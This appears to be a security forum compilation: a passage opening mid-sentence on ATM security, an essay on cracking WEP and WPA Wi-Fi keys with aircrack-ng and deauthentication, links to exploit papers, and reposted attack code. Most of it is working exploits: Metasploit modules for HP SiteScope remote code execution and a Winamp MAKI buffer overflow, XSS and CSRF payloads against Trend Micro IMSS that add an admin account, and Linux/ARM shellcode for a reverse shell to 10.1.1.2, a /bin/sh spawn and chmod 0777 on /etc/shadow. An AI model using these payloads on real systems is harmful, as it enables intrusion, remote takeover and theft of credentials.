multimedia presentations, formal session training, movies, flyers, etc. to ensure a large communication and audience. A holistic strategy will drive and protect Automated Teller Machines channels at all level. *European ATM Security Team *InfoSec Resources – Bank Fraud & ATM Security

It is convenient, it is a necessity, and some devices give you no other option: wireless networking is all around us. We all use wireless networks on a daily basis, whether you access the Internet on your laptop or your iPad. Most homes in the UK will have a wireless router provided by their ISP (Internet Service Provider), preconfigured and ready to start serving up the information highway. We accept it works with little or no knowledge of how it works and exactly what the risks are. In my experience, there are still a vast amount of wireless networks out there that are either not protected or are offering poor protection in the form of encryption or access control. This provides easy access to anybody who wishes to utilise the service which is paid for by you! Without permission from the asset owner, it is theft, pure and simple. If don’t protect your wireless network and ensure only those that you authorise to use the service have access, then you are also to blame. Not locking down your network also gives the infiltrator access to your computer systems and the ability to capture, steal and glean your personal information. It is simple, if I can compromise your wireless router, I own your network! Period! Before I discuss the fruits of the hack or compromise, I will talk a little about the wireless network standards. A wireless network pretty much delivers information in the same way as a wired network except you don’t have wires. This brings freedom of movement with ever increasing bandwidth speeds. So how does the data or information travel from one device to another? Through radio waves. The Institute of Electrical and Electronics Engineers (IEEE) standards for wireless networks are the IEEE 802.11 family, these standards are numerous and carry depth, however, for this paper I will be concentrating on the most common types. The 802.11 family utilises a series of half-duplex over-the-air modulation techniques that use the same basic protocols. The most common operating on the 2.4 GHz band are the 802.11b, 802.11g and 802.11n. IEEE 802.11a is another standard, however it utilises a different band of 5 GHz opposed to the more common 2.4 GHz. Firstly we shall discuss the standards, the frequency at which they operate and throughput. The IEEE 802.1a standard operates in the 5 GHz band with a maximum throughput rate of 54 Megabits per second, plus error correction code, which gives a realistic throughput, on average of around 25 to 30 Megabits per second. Although this standard does suffer from interference, due to the fact that there are fewer devices in this spectrum, it experiences less interference and therefore boasts a healthy throughput. The 2.4 GHz band is vastly over crowded, so much so that it does suffer. Through using the relatively unused 5 GHz band, the 802.11a has an advantage. The IEEE 802.11b operates in the 2.4GHz band and has a maximum throughput of 11 Megabits per second. 802.11b devices appeared on the market in early 2000 and were rapidly accepted by consumers as the prices of this technology dropped massively. 802.11b devices suffer interference from other products operating in the 2.4 GHz band. Devices operating in the 2.4 GHz range include microwave ovens, Bluetooth devices, baby monitors, cordless telephones and some amateur radio equipment. The throughput of 11 Megabits per second were purported to be increased to 22 Megabits per second by software based enhancement. With a greater range than that of the 802.11a, the 802.11b was replaced by the 802.11g in 2003. IEEE 802.11g is the third standard and works in the 2.4GHz band as does the 802.11b. It operates at a maximum throughput of 54 Megabits per second and is fully backward compatible with 802.11b hardware and therefore suffers the same legacy issues that reduce throughput. Due to the higher demand of greater data throughput rates, 802.11g was welcomed in the consumer arenas, and with reduced manufacturing costs, this standard was seen almost everywhere. The final standard I would like to discuss is the IEEE 802.11n, conforming to a draft in 2007 and finally published by the IEEE in 2009. 802.11n improved on previous 802.11 standards by adding multiple-input multiple-output antennas (MIMO). In radio, MIMO is the use of multiple antennas at both the transmitter and receiver to improve communication performance. It is one of several forms of smart antenna technology. 802.11n massively increased throughput and range, and is the common standard seen today. With all this technology pushing our personal information through the air, there has been no mention of security. After all, we know that radio waves are very easily intercepted; we listen to our radios, baby monitors and multiple other devices. So how do we stop others, eavesdroppers, hackers and criminals from listening or reading our data? Encryption is the answer. Without it, there is nothing stopping anyone associating with your wireless router, using your Internet service and essentially giving them the keys to your internal computing systems. Like I said earlier, if I own your wireless router, I own your network. Let’s play through a scenario – You are a career criminal who knows that your home broadband browsing habits could be traced to you by virtue of your IP address. Nobody in their right mind would sign their name to a crime, would they? There are other ways in which a user could hide their true internet identity by use of proxies, however, they are beyond the scope of this discussion. The said criminal would look for anonymity by using another individual’s wireless internet. He would scan the area for wireless network services with firstly, no encryption or protection, this resembles seriously low hanging fruit which provide the perfect conduit to facilitate his crime. If the career criminal uses your Internet service to view or upload illegal or indecent images, whose door do you think the law authorities are going to knock on when they establish an originating IP address? YOURS! There are various degrees of ‘low hanging fruit’ in the wireless network protection or encryption arena. Firstly having no encryption is downright foolish, almost as much of a school boy error as having Wired Equivalent Privacy (WEP). WEP was one of the first encryption standards introduced to the wireless network world, introduced as part of the original 802.11 standard ratified in September 1999. Its intention was to provide data confidentiality comparable to that of a traditional wired network. WEP uses two methods of authentication, Open System authentication and Shared Key authentication. It was advised that the Open System authentication was better than Shared Key, even though both methods utilised the RC4 cipher. WEP keys came in different lengths from 64 bit, 128 bit and 256 bit, all represented in hexadecimal (base 16) format. Although each was doubling its length, they all had something in common, a 24 bit Initialisation Vector (IV). For example, the 64 bit key would have the first 40 bits derived from the user’s key and the final 24 bits from the IV. For every hexadecimal character entered for the key, it represented 4 bits. A 64 bit WEP key would have ten hexadecimal characters set by the user. RC4 is a stream cipher; the same traffic key must never be used twice. The purpose of an IV, which is transmitted as plain text, is to prevent any repetition. The 24-bit IV is not long enough to ensure this on a busy network. WEP is massively vulnerable to a related key attack. For a 24-bit IV, there is a 50% probability the same vector will repeat after 5000 packets. Cracking a WEP key on a wireless router or access point is very simple. By capturing enough data or in this case IVs, the key can be calculated. For a 64 bit key you would need to harvest at least 50,000 data packets or IVs, a 128 bit WEP key, around 100,000 data packets or IVs. Capturing the data is very simple; there are numerous open source tools on the Internet, one being the most common, the Aircrack-ng suite. This suite brings together an awesome set of tools that allows the attacker to configure the wireless network interface beyond that of the normal user, capturing data from all channels and wireless networks that it can see. Then of course the number crunching element, dependant on the number of IV’s you have captured and the speed of the computer you are using, it can take a matter of seconds to reveal the WEP key. Once inputted on the authentication challenge to join the wireless network, bingo you are in! Nothing always goes to plan and at times you may want to pull your hair out waiting for the data or IVs to stack up. This can be totally dependent on the amount of traffic passing through the network, are the users streaming video or are they just browsing? These two different scenarios would produce two different capture rates. Should you find yourself in a very slow capture rate situation you can always inject traffic into the network to generate IVs, anything is possible! As time went on, Internet Service Providers (ISP) were giving wireless routers as part of consumer contracts. Knowing that WEP was massively insecure a newer more robust encryption was used, Wi-Fi Protected Access (WPA). Wi-Fi Protected Access (WPA) and Wi-Fi Protected Access II (WPA2) are two security protocols and security certification programs developed by the Wi-Fi Alliance to secure wireless computer networks. These new standards were introduced to replace and answer the insecure sibling WEP. WPA was designed to supply enhanced security over the older WEP protocol. Standard WPA utilises the Temporal Key Integrity Protocol (TKIP) and has a Pre-Shared Key (PSK). WPA2 was then introduced and offered a much stronger Counter Cipher Mode with Block Chaining Message Authentication Code Protocol (CCMP) over TKIP, offered by WPA, with Advanced Encryption Standard (AES) based encryption again with a PSK. Despite the new standards, both WPA and WPA2 are vulnerable to attack. Upon the WPA four way authentication handshake, you ask your device for the relevant password or passphrase to connect to the wireless router or access point. Once the handshake has been captured, the attacker can then move away from the victim and start number crunching the handshake to produce the key. If you find that the wireless client or target is already connected to the wireless router, you have two options, wait for someone to join the network thus capturing the handshake, or disassociating the already associated client off the network, forcing them to reconnect. This enables the attacker to capture the handshake. Disassociation attacks or de-authentication attacks are very simple to employ and could be used as a crude Denial of Service (DoS) attack, by constantly de-authenticating a client off the network. The Aircrack-ng suite offers such tools to be deployed by the attacker. Once the attacker has captured the handshake, the attacker must then crack it. The method of cracking the handshake would be by straight forward bruteforce or dictionary attacks. Wordlist or dictionary attack lists are getting more and more comprehensive, offering millions and millions of alpha-numeric variations and symbol strings which are brute forced against the captured handshake until it cracks it or has exhausted the list. WPA and WPA2-PSK can be attacked and cracked when the PSK is shorter than 21 characters. Given enough time and computing power, bruteforcing over 1500 key variations a second, it doesn’t take long to arrive at a key with a password that has less than ten characters in it. So in conclusion, is wireless safe? Basically yes and no, it would depend on what you are using it for. If you are moving highly sensitive data around, I would not recommend it. Basic browsing without credential inputting, by that I mean Internet banking etc; use it with caution, make sure you have sufficient encryption and protection. By using over 21 alpha numeric with symbol passphrases that mean absolutely nothing, ensuring non readable constructed sentences and utilising WPA2 with AES, you should be able to thwart the opportunistic attacker. Sleep well tonight, but not too well, the persistent SOB attacker is out there and will find your network, it is not a matter of if, more of a matter of WHEN! We have come to place our trust in so many wireless devices that run and support our lives. From mobile phones, Near Field Comms (NFC), Radio Frequency Identification (RFID) and many more, all can and have been hacked, cracked and exploited to some degree. Put your total trust into these devices at your peril, manage your security and manage those that secure the devices for you. Sursa

Sage 50 Payroll 2012 Authentication Bypass Paper download: http://www.exploit-db.com/wp-content/themes/exploit/docs/20858.pdf Learn from here .

DNS-Based Phishing Attack in Public Hotspots Paper download: http://www.exploit-db.com/wp-content/themes/exploit/docs/20875.pdf

Shellcoding in Linux Paper download: http://www.exploit-db.com/wp-content/themes/exploit/docs/21013.pdf

How to use PyDbg as a powerful multitasking debugger Paper Download: http://www.exploit-db.com/wp-content/themes/exploit/docs/21086.pdf

HP SiteScope Remote Code Execution ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'HP SiteScope Remote Code Execution', 'Description' => %q{ This module exploits a code execution flaw in HP SiteScope. It exploits two vulnerabilities in order to get its objective. An authentication bypass in the create operation, available through the APIPreferenceImpl AXIS service, to create a new account with empty credentials and, subsequently, uses the new account to abuse the UploadManagerServlet and upload an arbitrary payload embedded in a JSP. The module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2 and Linux CentOS 6.3. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '85121' ], [ 'OSVDB', '85151' ], [ 'BID', '55269' ], [ 'BID', '55273' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-174/' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-175/' ] ], 'Privileged' => true, 'Platform' => [ 'win', 'linux' ], 'Targets' => [ [ 'HP SiteScope 11.20 / Windows 2003 SP2', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'HP SiteScope 11.20 / Linux CentOS 6.3', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 29 2012')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ], self.class) end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("../#{@var_hexfile}.txt") client.fs.file.rm("../#{@jsp_name}.jsp") else if target['Platform'] == 'linux' client.shell_command_token("rm ../#{@var_hexfile}.txt") client.shell_command_token("rm ../#{@jsp_name}.jsp") elsif target['Platform'] == 'win' client.shell_command_token("del ..\\#{@var_hexfile}.txt") client.shell_command_token("del ..\\#{@jsp_name}.jsp") end end end def exploit @peer = "#{rhost}:#{rport}" @uri = target_uri.path @uri << '/' if @uri[-1,1] != '/' # Create user with empty credentials print_status("#{@peer} - Creating user with empty credentials") if create_user.nil? print_error("#{@peer} - Failed to create user") return end # Generate an initial JSESSIONID print_status("#{@peer} - Retrieving an initial JSESSIONID") res = send_request_cgi( 'uri' => "#{@uri}servlet/Main", 'method' => 'POST', ) if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 else print_error("#{@peer} - Retrieve of initial JSESSIONID failed") return end # Authenticate login_data = "j_username=&j_password=" print_status("#{@peer} - Authenticating on HP SiteScope Configuration") res = send_request_cgi( { 'uri' => "#{@uri}j_security_check", 'method' => 'POST', 'data' => login_data, 'ctype' => "application/x-www-form-urlencoded", 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 redirect = URI(res.headers['Location']).path else print_error("#{@peer} - Authentication on SiteScope failed") return end # Follow redirection to complete authentication process print_status("#{@peer} - Following redirection to finish authentication") res = send_request_cgi( { 'uri' => redirect, 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if not res or res.code != 200 print_error("#{@peer} - Authentication on SiteScope failed") return end # Upload the JSP and the raw payload @jsp_name = rand_text_alphanumeric(8+rand(8)) # begin <payload>.jsp var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) var_data = Rex::Text.rand_text_alpha(rand(8)+8) var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) var_counter = Rex::Text.rand_text_alpha(rand(8)+8) var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) var_comb = Rex::Text.rand_text_alpha(rand(8)+8) var_exe = Rex::Text.rand_text_alpha(rand(8)+8) @var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) var_proc = Rex::Text.rand_text_alpha(rand(8)+8) var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) jspraw = "<%@ page import=\"java.io.*\" %>\n" jspraw << "<%\n" jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n" jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" jspraw << "String #{var_data} = \"\";\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" jspraw << "}\n" jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" jspraw << "#{var_inputstream}.close();\n" jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" jspraw << "{\n" jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" jspraw << "#{var_comb} <<= 4;\n" jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" jspraw << "}\n" jspraw << "#{var_outputstream}.write(#{var_bytes});\n" jspraw << "#{var_outputstream}.close();\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n" jspraw << "String[] #{var_fperm} = new String[3];\n" jspraw << "#{var_fperm}[0] = \"chmod\";\n" jspraw << "#{var_fperm}[1] = \"+x\";\n" jspraw << "#{var_fperm}[2] = #{var_exepath};\n" jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n" jspraw << "if (#{var_proc}.waitFor() == 0) {\n" jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" # Linux and other UNICES allow removing files while they are in use... jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n" jspraw << "} else {\n" # Windows does not .. jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" jspraw << "%>\n" # Specify the payload in hex as an extra file.. payload_hex = payload.encoded_exe.unpack('H*')[0] post_data = Rex::MIME::Message.new post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") if target['Platform'] == "linux" traversal = "../../../../../../" elsif target['Platform'] == "win" traversal = "..\\..\\..\\..\\..\\..\\" end print_status("#{@peer} - Uploading the payload") res = send_request_cgi( { 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/ path = $1 print_good("#{@peer} - Payload successfully uploaded to #{path}") else print_error("#{@peer} - Error uploading the Payload") return end post_data = Rex::MIME::Message.new post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") print_status("#{@peer} - Uploading the JSP") res = send_request_cgi( { 'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/ path = $1 print_good("#{@peer} - JSP successfully uploaded to #{path}") else print_error("#{@peer} - Error uploading the JSP") return end print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") send_request_cgi( { 'uri' => "#{@uri}#{@jsp_name}.jsp", 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) end def create_user data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n" data << "<wsns0:Envelope" + "\r\n" data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n" data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n" data << ">" + "\r\n" data << "<wsns0:Body" + "\r\n" data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n" data << ">" + "\r\n" data << "<impl:create" + "\r\n" data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n" data << ">" + "\r\n" data << "<in0" + "\r\n" data << "xsi:type='xsd:string'" + "\r\n" data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" data << ">UserInstancePreferences</in0>" + "\r\n" data << "<in1" + "\r\n" data << "xsi:type='apachesoap:Map'" + "\r\n" data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" data << ">" + "\r\n" data << "<item" + "\r\n" data << "xsi:type='apachesoap:mapItem'" + "\r\n" data << ">" + "\r\n" data << "<key" + "\r\n" data << "xsi:nil='true'" + "\r\n" data << "xsi:type='xsd:anyType'" + "\r\n" data << "></key>" + "\r\n" data << "<value" + "\r\n" data << "xsi:nil='true'" + "\r\n" data << "xsi:type='xsd:anyType'" + "\r\n" data << "></value>" + "\r\n" data << "</item>" + "\r\n" data << "</in1>" + "\r\n" data << "</impl:create>" + "\r\n" data << "</wsns0:Body>" + "\r\n" data << "</wsns0:Envelope>" + "\r\n" res = send_request_cgi({ 'uri' => "#{@uri}services/APIPreferenceImpl", 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, 'headers' => { 'SOAPAction' => '""', }}) if res and res.code == 200 and res.body =~ /createResponse/ and res.body =~ /_id/ return res end return nil end end Sursa

Winamp MAKI Buffer Overflow ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Winamp MAKI Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in Winamp 5.55. The flaw exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file, where memmove is used with in a insecure way with user controlled data. To exploit the vulnerability the attacker must convince the attacker to install the generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin, or generate a new skin using the crafted mcvcore.maki file. The module has been tested successfully on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Monica Sojeong Hong', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2009-1831'], [ 'OSVDB', '54902'], [ 'BID', '35052'], [ 'EDB', '8783'], [ 'EDB', '8772'], [ 'EDB', '8770'], [ 'EDB', '8767'], [ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 4000, 'DisableNops' => true, 'BadChars' => "" }, 'Platform' => 'win', 'Targets' => [ # winamp.exe 5.5.5.2405 [ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x12f02bc3, # ppr from in_mod.dll 'Offset' => 16756 } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 20 2009', 'DefaultTarget' => 0)) deregister_options('FILENAME') end def file_format_filename 'mcvcore.maki' end def exploit sploit = rand_text(target['Offset']) sploit << generate_seh_record(target.ret) sploit << payload.encoded length_sploit = [sploit.length].pack("v") header = "\x46\x47" # magic header << "\x03\x04" # version header << "\x17\x00\x00\x00" types = "\x01\x00\x00\x00" # count # class 1 => Object types << "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7" # functions functions = "\x37\x00\x00\x00" # count #function 1 functions << "\x01\x01" # class functions << "\x00\x00" # dummy functions << length_sploit # function name length functions << sploit # crafted function name maki = header maki << types maki << functions print_status("Creating '#{file_format_filename}' file ...") file_create(maki) end end Sursa

Trend Micro InterScan Messaging Security Suite Stored XSS and CSRF # Exploit Title: Trend Micro InterScan Messaging Security Suite Stored XSS and CSRF # Date: 13/09/2012 # Exploit Author: modpr0be (modpr0be[at]spentera.com) # Vendor Homepage: http://www.trendmicro.com # Software Link: http://www.trendmicro.com/ftp/products/interscan/IMSS_v7.1_Win_1394.zip # Version: 7.1-Build_Win32_1394 # Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config) # CVE : CVE-2012-2995, CVE-2012-2996 # Software Description # TrendMicro Interscan Messaging Security is the industry’s most comprehensive # mail gateway security. Choose state-of-the-art software or a hybrid solution # with on-premise virtual appliance and optional cloud pre-filter that blocks # the vast majority of spam and malware outside your network. Plus our Data # Privacy and Encryption Module secure outbound data to ensure privacy and # regulatory compliance. # Vulnerability Overview # Trend Micro InterScan Messaging Security Suite is susceptible to cross-site scripting (CWE-79) # and cross-site request forgery (CWE-352) vulnerabilities. # Proof of Concept # Persistent/Stored XSS # this POC will store defined URL to white list URL page. Each time we access to this page, the XSS word # will pop up to the user. You can change the alert message box to something nasty (e.g redirect to beef??) hxxps://127.0.0.1:8445/addRuleAttrWrsApproveUrl.imss?wrsApprovedURL=xssxss"><script>alert('XSS')</script> # Non-persistent/Reflected XSS # This is non-persistent XSS, you might lure target user to click this link hxxps://127.0.0.1/initUpdSchPage.imss?src="><script>alert('XSS')</script> # Cross-Site Request Forgery # This POC should be targeted to user with admin privilege # It will add admin user with user quorra, and password quorra.123 # Target victim must be authenticated when perform this POC <html> <body> <form action="hxxps://127.0.0.1:8445/saveAccountSubTab.imss" method="POST"> <input type="hidden" name="enabled" value="on" /> <input type="hidden" name="authMethod" value="1" /> <input type="hidden" name="name" value="quorra" /> <input type="hidden" name="password" value="quorra.123" /> <input type="hidden" name="confirmPwd" value="quorra.123" /> <input type="hidden" name="tabAction" value="saveAuth" /> <input type="hidden" name="gotoTab" value="saveAll" /> <input type="submit" value="CSRF" /> </form> </body> </html> # References # http://www.spentera.com/advisories/2012/SPN-05-2012.html # http://www.kb.cert.org/vuls/id/471364 # http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html Sursa

[Raspberry Pi] Linux/ARM - reverse_shell(tcp,10.1.1.2,0x1337) /* Title: Linux/ARM - reverse_shell(tcp,10.1.1.2,0x1337) execve("/bin/sh", [0], [0 vars]) - 72 bytes Date: 2012-09-08 Tested on: ARM1176JZF-S (v6l) - Raspberry Pi Author: midnitesnake 00008054 <_start>: 8054: e28f1001 add r1, pc, #1 8058: e12fff11 bx r1 805c: 2002 movs r0, #2 805e: 2101 movs r1, #1 8060: 1a92 subs r2, r2, r2 8062: 020f lsls r7, r1, #8 8064: 3719 adds r7, #25 8066: df01 svc 1 8068: 1c06 adds r6, r0, #0 806a: a108 add r1, pc, #32 ; (adr r1, 808c <Dup+0x16>) 806c: 2210 movs r2, #16 806e: 3702 adds r7, #2 8070: df01 svc 1 8072: 273f movs r7, #63 ; 0x3f 8074: 2102 movs r1, #2 00008076 <Dup>: 8076: 1c30 adds r0, r6, #0 8078: df01 svc 1 807a: 3901 subs r1, #1 807c: d5fb bpl.n 8076 <Dup> 807e: a005 add r0, pc, #20 ; (adr r0, 8094 <Dup+0x1e>) 8080: 1a92 subs r2, r2, r2 8082: b405 push {r0, r2} 8084: 4669 mov r1, sp 8086: 270b movs r7, #11 8088: df01 svc 1 808a: 46c0 nop ; (mov r8, r8) 808c: 37130002 .word 0x37130002 8090: 0301010a .word 0x0301010a 8094: 6e69622f .word 0x6e69622f 8098: 0068732f .word 0x0068732f 809c: 00 .byte 0x00 809d: 00 .byte 0x00 809e: 46c0 nop ; (mov r8, r8) */ #include <stdio.h> #include <string.h> #define SWAP16(x) ((x) << 8 | ((x) >> 8)) const unsigned char sc[] = { 0x01, 0x10, 0x8F, 0xE2, 0x11, 0xFF, 0x2F, 0xE1, 0x02, 0x20, 0x01, 0x21, 0x92, 0x1a, 0x0f, 0x02, 0x19, 0x37, 0x01, 0xdf, 0x06, 0x1c, 0x08, 0xa1, 0x10, 0x22, 0x02, 0x37, 0x01, 0xdf, 0x3f, 0x27, 0x02, 0x21, 0x30, 0x1c, 0x01, 0xdf, 0x01, 0x39, 0xfb, 0xd5, 0x05, 0xa0, 0x92, 0x1a, 0x05, 0xb4, 0x69, 0x46, 0x0b, 0x27,0x01, 0xdf, 0xc0, 0x46, /* struct sockaddr */ 0x02, 0x00, /* port: 0x1337 */ 0x13, 0x37, /* ip: 10.1.1.2 */ 0x0A, 0x01, 0x01, 0x02, /* "/bin/sh\0" */ 0x2f, 0x62, 0x69, 0x6e,0x2f, 0x73, 0x68, 0x00 }; int main() { printf("shellcode=%d bytes\n" "connecting to %d.%d.%d.%d:%hd\n", sizeof sc, sc[0x3c], sc[0x3d], sc[0x3e], sc[0x3f], SWAP16(*((unsigned short *)(sc+0x3a)))); return ((int (void))sc)(); } Sursa

[Raspberry Pi] Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 30 bytes /* Title: Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 30 bytes Date: 2012-09-08 Tested on: ARM1176JZF-S (v6l) Author: midnitesnake 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df01 svc 1 806a: 2f2f .short 0x2f2f 806c: 2f6e6962 .word 0x2f6e6962 8070: 00006873 .word 0x00006873 */ #include <stdio.h> char *SC = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x78\x46" "\x0a\x30" "\x01\x90" "\x01\xa9" "\x92\x1a" "\x0b\x27" "\x01\xdf" "\x2f\x2f" "\x62\x69" "\x6e\x2f" "\x73\x68\x00\x00"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(SC)); (*(void(*)()) SC)(); return 0; } Sursa

[Raspberry Pi] Linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes /* Title: Linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes Date: 2012-09-08 Tested on: ARM1176JZF-S (v6l) Author: midnitesnake 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 3012 adds r0, #18 8060: 21ff movs r1, #255 ; 0xff 8062: 31ff adds r1, #255 ; 0xff 8064: 3101 adds r1, #1 8066: 270f movs r7, #15 8068: df01 svc 1 806a: 1b24 subs r4, r4, r4 806c: 1c20 adds r0, r4, #0 806e: 2701 movs r7, #1 8070: df01 svc 1 8072: 652f .short 0x652f 8074: 732f6374 .word 0x732f6374 8078: 6f646168 .word 0x6f646168 807c: 46c00077 .word 0x46c00077 */ #include <stdio.h> char shellcode[] = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x78\x46" "\x12\x30" "\xff\x21" "\xff\x31" "\x01\x31" "\x0f\x27" "\x01\xdf" "\x24\x1b" "\x20\x1c" "\x01\x27" "\x01\xdf" "\x2f\x65" "\x74\x63\x2f\x73" "\x68\x61\x64\x6f" "\x77\x00" "\xc0\x46"; int main() { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } Sursa